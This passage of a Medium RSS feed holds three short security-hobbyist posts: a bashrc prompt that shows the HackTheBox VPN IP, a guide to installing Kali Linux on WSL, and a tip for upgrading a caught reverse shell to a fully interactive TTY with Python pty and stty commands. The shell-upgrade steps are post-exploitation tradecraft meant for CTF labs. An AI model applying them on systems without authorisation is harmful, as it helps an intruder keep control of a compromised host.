src="https://cdn-images-1.medium.com/max/276/1*FtCKPupVzyH8XdKMAiyNUA.png" /><figcaption>A space</figcaption></figure><h4>Adding IP to the prompt</h4><p>One thing missing in this style is the IP address, so let’s add it!</p><p>First, open your <strong>.bashrc</strong> file and add this script.</p><pre># Get IP<br>function get_ip(){<br> tunnel_ip=`ifconfig tun0 2&gt;/dev/null | grep netmask | awk ‘{print $2}’` # it can be thm or htb IP<br> default_ip=`ifconfig eth0 2&gt;/dev/null | grep netmask | awk ‘{print $2}’` # use eth0 as default IP,</pre><pre>if [[ $tunnel_ip == *”10.”* ]]; then<br> echo $tunnel_ip<br> else<br> echo $default_ip<br> fi<br>}</pre><p>Since my purpose here to display HackTheBox VPN IP, I created a condition to switch whether to display the local IP (eth0) or the VPN IP (tun0).</p><p>Okay, next, find the following line.</p><pre># If this is an xterm set the title to user@host:dir</pre><p>Then replace the entire PS1 variable with this one (if it’s doesn’t work, copy from <a href="https://pastebin.com/raw/xeg8Kh3A">here</a>).</p><pre>PS1=”\[\033[0;31m\]\342\224\214\342\224\200\$([[ \$? != 0 ]] &amp;&amp; echo \”[\[\033[0;31m\]\342\234\227\[\033[0;37m\]]\342\224\200\”)[$(if [[ ${EUID} == 0 ]]; then echo ‘\[\033[01;31m\]root\[\033[01;33m\]@\[\033[01;96m\]\h’; else echo ‘\[\033[0;39m\]\u\[\033[01;33m\]@\[\033[01;96m\]\h’; fi)\[\033[0;31m\]]\342\224\200[\033[0;31m\]\[\033[1;97m\]”<strong>\`get_ip</strong>\`”\[\033[0;31m\]]\342\224\200[\[\033[0;32m\]\w\[\033[0;31m\]]\n\[\033[0;31m\]\342\224\224\342\224\200\342\224\200\342\225\274 \[\033[0m\]\[\e[01;33m\]\\$\[\e[0m\] “</pre><p>And done</p><p>Now if I connected to the VPN, the IP will change like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*vrvAFL7xhVKrhVkeyCI_Yg.png" /></figure><blockquote>htbon is my alias to connect to the VPN</blockquote><p>If you want to customize the color or other things, check out this site: <a href="http://bashrcgenerator.com/">http://bashrcgenerator.com/</a></p><p>That’s all, hope you like it, thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5db0340abf10" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kali Linux WSL (Windows Subsystem for Linux)]]></title>
            <link>https://fahmifj.medium.com/kali-linux-wsl-windows-subsystem-for-linux-295a7c1ff68f?source=rss-1354259e1c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/295a7c1ff68f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[wsl]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Fahmi J]]></dc:creator>
            <pubDate>Mon, 08 Jun 2020 13:29:11 GMT</pubDate>
            <atom:updated>2021-10-15T01:49:28.000Z</atom:updated>
            <content:encoded><![CDATA[<h3>Installing Kali Linux on Windows using WSL (Windows Subsystem for Linux)</h3><p>In this article, I’ll share about how to install Kali Linux on <a href="https://docs.microsoft.com/en-us/windows/wsl/about">WSL</a>. This tutorial would also work for other Linux distribution you want to install.</p><h4>Get Kali Linux from Ms. Store</h4><p>First, you’ll have to download and install the official Kali Linux distribution on Microsoft Store.</p><p><a href="https://www.microsoft.com/en-us/p/kali-linux/9pkr34tncv07">Get Kali Linux - Microsoft Store</a></p><p>If you faced this error message upon installing it,</p><pre>WSLRegisterDistribution failed with error: 0x8007019e</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*IgsYzhaIsHIpfjcis02UmQ.png" /></figure><p>Then open up your PowerShell with administrator privileges and run the following command.</p><pre>Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux</pre><p>Alternatively, you can go to “Windows Features” using Windows search feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*4wwnUmG3dNwOWZFJr8vVNw.png" /></figure><p>Then check the “Windows Subsystem for Linux”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*PI7Ad0gEFhfg6kVKP4gX3Q.png" /></figure><p>Once done, restart your machine.</p><h4>Set Your Username and Password</h4><p>Now open the installed Kali Linux from start menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*5856zC1bJmzKmwAEqaxlIg.png" /></figure><p>Set your initial username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*bF5wivRL1VdKdGteocU0VA.png" /></figure><p>For root access, type sudo su, then input your initial password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*IHlQ9HpgbfXmIUweyorzZw.png" /></figure><p>With root shell, you can change the root account password, by typing passwd, and then enter the new password you want to set for the root account (for me, user iamf and root are using different password).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*S-EKKv6jDcgpecWVp6-kcQ.png" /></figure><p>So this command uses iamf’s password.</p><pre>iamf@MSI:~$ sudo su</pre><p>While this command uses root’s password</p><pre>iamf@MSI:~$ su -</pre><h4>Update the Packages</h4><p>Even though this is Kali Linux, it’s lack of built-in tools. But, you can install any tools you need after updating the package list.</p><pre>apt update</pre><p>After that you can install the standard Kali tools like nmap, gobuster, but I recommend you not to use this for, like playing on HTB or THM, so stick with VM.</p><h4>Closing</h4><p>In my personal opinion, it suits for software development purposes, especially with the WSL2.</p><p>This might be a bit out of topic, but, if you need containerization like Docker, I would prefer not to use it on Windows by upgrading your WSL1 to WSL2. Docker on Windows with WSL2 integration consumes a huge amount of RAM also it (currently) has so many limitations on the <a href="https://docs.docker.com/docker-for-windows/networking/">networking</a> side, trust me.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=295a7c1ff68f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Get a Fully Interactive Reverse Shell]]></title>
            <link>https://fahmifj.medium.com/get-a-fully-interactive-reverse-shell-b7e8d6f5b1c1?source=rss-1354259e1c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7e8d6f5b1c1</guid>
            <category><![CDATA[tty]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[command-line]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Fahmi J]]></dc:creator>
            <pubDate>Mon, 25 May 2020 00:43:37 GMT</pubDate>
            <atom:updated>2022-10-09T14:08:55.265Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*nHXSV1jAbMkLUxtB_rlmTQ.png" /><figcaption>Normal reverse shell</figcaption></figure><p>It is a pain when you make a typo in your reverse shell and then accidentally close the shell with <strong>CTRL+C</strong>. It’s also a pain because:</p><ul><li>It has no arrow-up</li><li>It has no tab-completion</li><li>It is just uncomfortable!</li></ul><p>In this post, I’ll share a quick tip to make your reverse shell a bit comfortable to use, it’s almost like SSHing the machine!</p><h4><strong>Step 1: Spawn a TTY shell!</strong></h4><p>First, we need to upgrade our current non-TTY shell into a TTY shell using the common Python PTY module.</p><pre>$ python -c &quot;import pty; pty.spawn(&#39;/bin/bash&#39;)&quot;</pre><p>Or</p><pre>$ python3 -c &quot;import pty; pty.spawn(&#39;/bin/bash&#39;)&quot;</pre><p>Visit <a href="https://netsec.ws/?p=337">this web</a> for alternative if there’s no python installed in the machine. I also found another way using script just after I published this post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*k3HbNjGQ-MWX4FiJT0GTNA.png" /></figure><pre>$ script /dev/null -c bash</pre><h4><strong>Step 2: Upgrade to Full Interactive Shell</strong></h4><p>Background the process using <strong>CTRL + Z</strong>, and then type:</p><pre>$ stty raw -echo </pre><p>Once done, type $ fg<strong> </strong>(you won’t be able to see what you type, but don’t worry) to bring the shell back to foreground and hit enter two times or just use</p><pre>$ stty raw -echo;fg</pre><p>Now you should be able to use arrows key and tab completion in the shell.</p><p>Since normal <strong>Ctrl + C</strong> won’t close this shell, you have to kill its process or just type $ exit.</p><p>If your shell prompt is messed up after exiting, type $ stty sane.</p><blockquote>Note: It won’t work with rlwrap.</blockquote><h4>Reference:</h4><ul><li>Master <a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA">ippsec</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7e8d6f5b1c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>